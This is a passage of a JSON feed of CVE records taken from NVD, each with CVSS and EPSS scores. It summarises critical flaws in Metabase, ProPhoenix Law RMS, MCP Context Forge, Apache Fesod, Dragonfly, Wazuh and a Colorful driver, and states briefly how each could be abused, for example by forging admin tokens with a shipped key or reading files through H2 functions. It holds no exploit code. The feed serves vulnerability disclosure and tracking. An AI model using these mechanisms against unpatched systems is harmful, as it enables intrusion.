fixes.","publishedAt":"2026-10-13T16:17:21.890Z","updatedAt":"2026-10-13T17:17:42.177Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-55675","asOf":"2026-10-13T17:17:42.177Z"},"epss":{"probability":0.00427,"percentile":0.36709,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-55675&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-55675","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55675","type":"primary","publishedAt":"2026-10-13T16:17:21.890Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-55675&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-55675, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103928","cveId":"CVE-2026-103928","aliases":[],"kind":"vulnerability","title":"Metabase is an open source business intelligence and analytics platform.","summary":"Metabase is an open source business intelligence and analytics platform. From 1.55.0 until 1.58.16, 1.59.13, 1.60.9, and 1.61.4, native queries and actions against an H2 data source are passed through without restricting host-facing built-in functions. A user authorized to run native queries or actions can invoke FILE_READ, FILE_WRITE, CSVREAD, CSVWRITE, or LINK_SCHEMA to read or write arbitrary files on the Metabase server or link other databases. The default sample database uses H2, so the vulnerable surface is exposed by default. This issue is fixed in versions 1.58.16, 1.59.13, 1.60.9, and 1.61.4.","detail":"Metabase is an open source business intelligence and analytics platform. From 1.55.0 until 1.58.16, 1.59.13, 1.60.9, and 1.61.4, native queries and actions against an H2 data source are passed through without restricting host-facing built-in functions. A user authorized to run native queries or actions can invoke FILE_READ, FILE_WRITE, CSVREAD, CSVWRITE, or LINK_SCHEMA to read or write arbitrary files on the Metabase server or link other databases. The default sample database uses H2, so the vulnerable surface is exposed by default. This issue is fixed in versions 1.58.16, 1.59.13, 1.60.9, and 1.61.4.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T16:17:10.597Z","updatedAt":"2026-10-16T16:00:33.533Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103928","asOf":"2026-10-16T16:00:33.533Z"},"epss":{"probability":0.00407,"percentile":0.34663,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103928&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103928","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103928","type":"primary","publishedAt":"2026-10-13T16:17:10.597Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103928&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103928, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-34324","cveId":"CVE-2024-34324","aliases":[],"kind":"vulnerability","title":"An issue in ProPhoenix Law RMS v2022.2403.3.101 allows attackers to execute a session hijacking attack via injecting a crafted 24-character string into the ASP.NET_SessionId...","summary":"An issue in ProPhoenix Law RMS v2022.2403.3.101 allows attackers to execute a session hijacking attack via injecting a crafted 24-character string into the ASP.NET_SessionId cookie.","detail":"An issue in ProPhoenix Law RMS v2022.2403.3.101 allows attackers to execute a session hijacking attack via injecting a crafted 24-character string into the ASP.NET_SessionId cookie.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T16:17:08.317Z","updatedAt":"2026-10-16T19:56:15.773Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2024-34324","asOf":"2026-10-16T19:56:15.773Z"},"epss":{"probability":0.00298,"percentile":0.22256,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-34324&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2024-34324","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-34324","type":"primary","publishedAt":"2026-10-13T16:17:08.317Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-34324&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-34324, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-34323","cveId":"CVE-2024-34323","aliases":[],"kind":"vulnerability","title":"ProPhoenix Law RMS v2022.2403.3.101 was discovered to contain an Insecure Direct Object Reference (IDOR) via the usrLogin$hdnPFID parameter.","summary":"ProPhoenix Law RMS v2022.2403.3.101 was discovered to contain an Insecure Direct Object Reference (IDOR) via the usrLogin$hdnPFID parameter. This vulnerability allows attackers to access sensitive information via a crafted HTTP request.","detail":"ProPhoenix Law RMS v2022.2403.3.101 was discovered to contain an Insecure Direct Object Reference (IDOR) via the usrLogin$hdnPFID parameter. This vulnerability allows attackers to access sensitive information via a crafted HTTP request.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T16:17:08.210Z","updatedAt":"2026-10-16T19:56:15.773Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":10,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2024-34323","asOf":"2026-10-16T19:56:15.773Z"},"epss":{"probability":0.00363,"percentile":0.29874,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-34323&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2024-34323","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-34323","type":"primary","publishedAt":"2026-10-13T16:17:08.210Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-34323&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-34323, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2024-34320","cveId":"CVE-2024-34320","aliases":[],"kind":"vulnerability","title":"ProPhoenix Law RMS v2022.2403.3.101 was discovered to contain an incorrect access control issue in sensitive API endpoints.","summary":"ProPhoenix Law RMS v2022.2403.3.101 was discovered to contain an incorrect access control issue in sensitive API endpoints.","detail":"ProPhoenix Law RMS v2022.2403.3.101 was discovered to contain an incorrect access control issue in sensitive API endpoints.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T16:17:07.990Z","updatedAt":"2026-10-16T19:56:15.773Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2024-34320","asOf":"2026-10-16T19:56:15.773Z"},"epss":{"probability":0.00351,"percentile":0.28445,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2024-34320&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2024-34320","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-34320","type":"primary","publishedAt":"2026-10-13T16:17:07.990Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2024-34320&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2024-34320, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-77099","cveId":"CVE-2026-77099","aliases":[],"kind":"vulnerability","title":"CVFS contained an input validation issue affecting command execution.","summary":"CVFS contained an input validation issue affecting command execution.  Software customers upgrade to resolved maintenance release. Update CVFS.","detail":"CVFS contained an input validation issue affecting command execution.  Software customers upgrade to resolved maintenance release. Update CVFS.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T15:17:49.530Z","updatedAt":"2026-10-14T16:04:11.750Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-77099","asOf":"2026-10-14T16:04:11.750Z"},"epss":{"probability":0.00388,"percentile":0.32667,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-77099&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-77099","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77099","type":"primary","publishedAt":"2026-10-13T15:17:49.530Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-77099&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-77099, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-53709","cveId":"CVE-2026-53709","aliases":[],"kind":"vulnerability","title":"MCP Context Forge is an MCP gateway and administrative platform.","summary":"MCP Context Forge is an MCP gateway and administrative platform. Prior to 1.0.2, mcpgateway/config.py and .env.example ship a known JWT_SECRET_KEY, while verify_jwt_token() accepts HS256 tokens signed with that key and get_current_user() creates a platform administrator when the token subject matches PLATFORM_ADMIN_EMAIL and REQUIRE_USER_IN_DB is false. A remote unauthenticated attacker can therefore mint accepted administrator tokens without a database account. While the vulnerable signing key remains configured and the platform-admin bootstrap remains enabled, forged access survives password rotation, account deletion, and session revocation, allowing administrative disclosure, modification, and service disruption. This issue is fixed in version 1.0.2.","detail":"MCP Context Forge is an MCP gateway and administrative platform. Prior to 1.0.2, mcpgateway/config.py and .env.example ship a known JWT_SECRET_KEY, while verify_jwt_token() accepts HS256 tokens signed with that key and get_current_user() creates a platform administrator when the token subject matches PLATFORM_ADMIN_EMAIL and REQUIRE_USER_IN_DB is false. A remote unauthenticated attacker can therefore mint accepted administrator tokens without a database account. While the vulnerable signing key remains configured and the platform-admin bootstrap remains enabled, forged access survives password rotation, account deletion, and session revocation, allowing administrative disclosure, modification, and service disruption. This issue is fixed in version 1.0.2.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T15:17:44.873Z","updatedAt":"2026-10-16T22:17:23.737Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-53709","asOf":"2026-10-16T22:17:23.737Z"},"epss":{"probability":0.00603,"percentile":0.4857,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-53709&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-53709","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-53709","type":"primary","publishedAt":"2026-10-13T15:17:44.873Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-53709&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-53709, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-107460","cveId":"CVE-2026-107460","aliases":[],"kind":"vulnerability","title":"Server-Side Request Forgery (SSRF) protection in the UrlImageConverter component of Apache Fesod (Incubating) fesod-sheet 2.0.2-incubating can be bypassed through DNS rebinding.","summary":"Server-Side Request Forgery (SSRF) protection in the UrlImageConverter component of Apache Fesod (Incubating) fesod-sheet 2.0.2-incubating can be bypassed through DNS rebinding. When an application accepts an attacker-controlled image URL for spreadsheet writing, the converter checks the hostname's resolved IP addresses and then opens a separate connection that can resolve the hostname again. An attacker who controls DNS responses for the URL hostname may cause the connection to reach a restricted address after validation. CVE-2026-49328 covers SSRF in releases before 2.0.2-incubating; this issue is a DNS rebinding bypass of the protection in 2.0.2-incubating. Apache Fesod (Incubating) 2.1.0-incubating addresses the reported default-fetch scenario by disabling remote URL image fetching by default and requiring an explicit exact-host allowlist when the feature is enabled. Users should upgrade to 2.1.0-incubating. Applications enabling remote URL image fetching should allowlist only hostnames whose DNS and HTTP services are trusted.","detail":"Server-Side Request Forgery (SSRF) protection in the UrlImageConverter component of Apache Fesod (Incubating) fesod-sheet 2.0.2-incubating can be bypassed through DNS rebinding. When an application accepts an attacker-controlled image URL for spreadsheet writing, the converter checks the hostname's resolved IP addresses and then opens a separate connection that can resolve the hostname again. An attacker who controls DNS responses for the URL hostname may cause the connection to reach a restricted address after validation. CVE-2026-49328 covers SSRF in releases before 2.0.2-incubating; this issue is a DNS rebinding bypass of the protection in 2.0.2-incubating. Apache Fesod (Incubating) 2.1.0-incubating addresses the reported default-fetch scenario by disabling remote URL image fetching by default and requiring an explicit exact-host allowlist when the feature is enabled. Users should upgrade to 2.1.0-incubating. Applications enabling remote URL image fetching should allowlist only hostnames whose DNS and HTTP services are trusted.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T15:17:31.657Z","updatedAt":"2026-10-20T18:17:16.880Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-107460","asOf":"2026-10-20T18:17:16.880Z"},"epss":{"probability":0.00407,"percentile":0.34671,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-107460&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-107460","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-107460","type":"primary","publishedAt":"2026-10-13T15:17:31.657Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-107460&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-107460, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104192","cveId":"CVE-2026-104192","aliases":[],"kind":"vulnerability","title":"Dragonfly is an in-memory data store built for modern application workloads.","summary":"Dragonfly is an in-memory data store built for modern application workloads. Prior to 1.40, OpaqueObjLoader::CreateStream in src/server/rdb_load.cc can associate one streamNACK with a consumer group's global PEL and a consumer-local PEL, then free the shared object when a duplicate consumer entry is rejected. Cleanup subsequently frees the same object again. In the default configuration, where Dragonfly ships with authentication disabled, an unauthenticated client can trigger the double-free by sending a crafted serialized stream to RESTORE, causing allocator corruption, denial of service, and potentially attacker-controlled code execution as the Dragonfly service account. The source fix has not yet been mapped to a published release.","detail":"Dragonfly is an in-memory data store built for modern application workloads. Prior to 1.40, OpaqueObjLoader::CreateStream in src/server/rdb_load.cc can associate one streamNACK with a consumer group's global PEL and a consumer-local PEL, then free the shared object when a duplicate consumer entry is rejected. Cleanup subsequently frees the same object again. In the default configuration, where Dragonfly ships with authentication disabled, an unauthenticated client can trigger the double-free by sending a crafted serialized stream to RESTORE, causing allocator corruption, denial of service, and potentially attacker-controlled code execution as the Dragonfly service account. The source fix has not yet been mapped to a published release.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T15:17:31.087Z","updatedAt":"2026-10-13T16:17:11.333Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.6,"version":"3.1","vector":"CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104192","asOf":"2026-10-13T16:17:11.333Z"},"epss":{"probability":0.00276,"percentile":0.19848,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104192&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104192","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104192","type":"primary","publishedAt":"2026-10-13T15:17:31.087Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104192&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104192, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-74040","cveId":"CVE-2026-74040","aliases":[],"kind":"vulnerability","title":"Wazuh versions from 3.9.0 before 4.14.8 contain an arbitrary file overwrite vulnerability in MasterHandler.process_files_from_worker allowing a cluster worker to overwrite...","summary":"Wazuh versions from 3.9.0 before 4.14.8 contain an arbitrary file overwrite vulnerability in MasterHandler.process_files_from_worker allowing a cluster worker to overwrite protected master files. Attackers controlling a worker can use a trailing-slash basename bypass and missing extra_valid enforcement to overwrite ossec.conf and agent.conf, achieving root remote code execution across the manager and every agent.","detail":"Wazuh versions from 3.9.0 before 4.14.8 contain an arbitrary file overwrite vulnerability in MasterHandler.process_files_from_worker allowing a cluster worker to overwrite protected master files. Attackers controlling a worker can use a trailing-slash basename bypass and missing extra_valid enforcement to overwrite ossec.conf and agent.conf, achieving root remote code execution across the manager and every agent.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-13T14:17:40.720Z","updatedAt":"2026-10-16T22:17:55.680Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":9.4,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-74040","asOf":"2026-10-16T22:17:55.680Z"},"epss":{"probability":0.00716,"percentile":0.53497,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-74040&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-74040","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-74040","type":"primary","publishedAt":"2026-10-13T14:17:40.720Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-74040&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-74040, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-109520","cveId":"CVE-2026-109520","aliases":[],"kind":"vulnerability","title":"A flaw has been found in Colorful iGameCenter 2.0.0.82. Affected by this vulnerability is the function MmMapIoSpace in the library AMDRyzenMasterDriver.sys of the component...","summary":"A flaw has been found in Colorful iGameCenter 2.0.0.82. Affected by this vulnerability is the function MmMapIoSpace in the library AMDRyzenMasterDriver.sys of the component Dispatch Handler. This manipulation of the argument SystemBuffer causes privilege defined with unsafe actions. The attack needs to be launched locally. The vendor was contacted early about this disclosure but did not respond in any way.","detail":"A flaw has been found in Colorful iGameCenter 2.0.0.82. Affected by this vulnerability is the function MmMapIoSpace in the library AMDRyzenMasterDriver.sys of the component Dispatch Handler. This manipulation of the argument SystemBuffer causes privilege defined with unsafe actions. The attack needs to be launched locally. The vendor was contacted early about this disclosure but did not respond in any way.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and 